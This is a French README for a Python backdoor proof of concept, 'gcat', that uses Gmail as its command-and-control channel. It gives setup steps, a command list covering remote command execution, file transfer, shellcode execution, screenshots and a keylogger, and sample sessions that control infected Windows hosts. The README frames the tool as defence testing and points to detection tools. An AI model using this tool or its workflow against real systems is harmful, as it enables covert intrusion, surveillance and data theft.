
Un backdoor PoC qui utilise Gmail comme serveur C&C
Un backdoor furtif basé sur Python utilisant Gmail comme serveur de commande et contrôle
Ce projet s'inspire du code PoC original de Benjamin Donnelly
... qui a été publié pour que les organisations testent leurs défenses contre ce type d'attaques. Pour les détecter, consultez des projets comme RITA.
Pour une version plus récente et maintenue de ce projet, voir GDog
Pour que cela fonctionne, vous avez besoin :
Ce dépôt contient deux fichiers :
gcat.py un script utilisé pour énumérer et envoyer des commandes aux clients disponiblesimplant.py le vrai backdoor à déployerDans les deux fichiers, modifiez les variables gmail_user et gmail_pwd avec le nom d'utilisateur et le mot de passe du compte que vous avez précédemment configuré.
Vous voudrez probablement compiler en un exécutable en utilisant
implant.pyRemarque : Il est recommandé de compiler implant.py avec une installation Python 32 bits
dP
88
.d8888b. .d8888b. .d8888b. d8888P
88' `88 88' `"" 88' `88 88
88. .88 88. ... 88. .88 88
`8888P88 `88888P' `88888P8 dP
.88
d8888P
.__....._ _.....__,
.": o :': ;': o :".
`. `-' .'. .'. `-' .'
`---' `---'
_...----... ... ... ...----..._
.-'__..-''---- `. `"` .' ----'''-..__`-.
'.-' _.--''' `-._.-' ''''--._ `-.`
' .-"' : `"-. `
' `. _.'"'._ .' `
`. ,.-'" "'-., .'
`. .'
jgs `-._ _.-'
`"'--...___...--'"`
...IM IN YUR COMPUTERZ...
WATCHIN YUR SCREENZ
arguments optionnels :
-h, --help affiche ce message d'aide et quitte
-v, --version affiche le numéro de version du programme et quitte
-id ID Client cible
-jobid JOBID Identifiant de tâche à récupérer
-list Liste des clients disponibles
-info Récupère les informations sur le client spécifié
Commandes :
Commandes à exécuter sur un implant
-cmd CMD Exécute une commande système
-download PATH Télécharge un fichier depuis le système d'un client
-upload SRC DST Téléverse un fichier vers le système du client
-exec-shellcode FILE Exécute du shellcode fourni sur un client
-screenshot Prend une capture d'écran
-lock-screen Verrouille l'écran du client
-force-checkin Force une vérification
-start-keylogger Démarre le keylogger
-stop-keylogger Arrête le keylogger
Meow!
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
La sortie est une chaîne UUID qui identifie de manière unique le système et le système d'exploitation sur lequel l'implant s'exécute
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
Ici, nous demandons à 90b2cd83-cb36-52de-84ee-99db6ff41a11 d'exécuter ipconfig /all, le script affiche alors le jobid que nous pouvons utiliser pour récupérer la sortie de cette commande
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
Windows IP Configuration
Host Name . . . . . . . . . . . . : unknown-2d44b52
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
-- SNIP --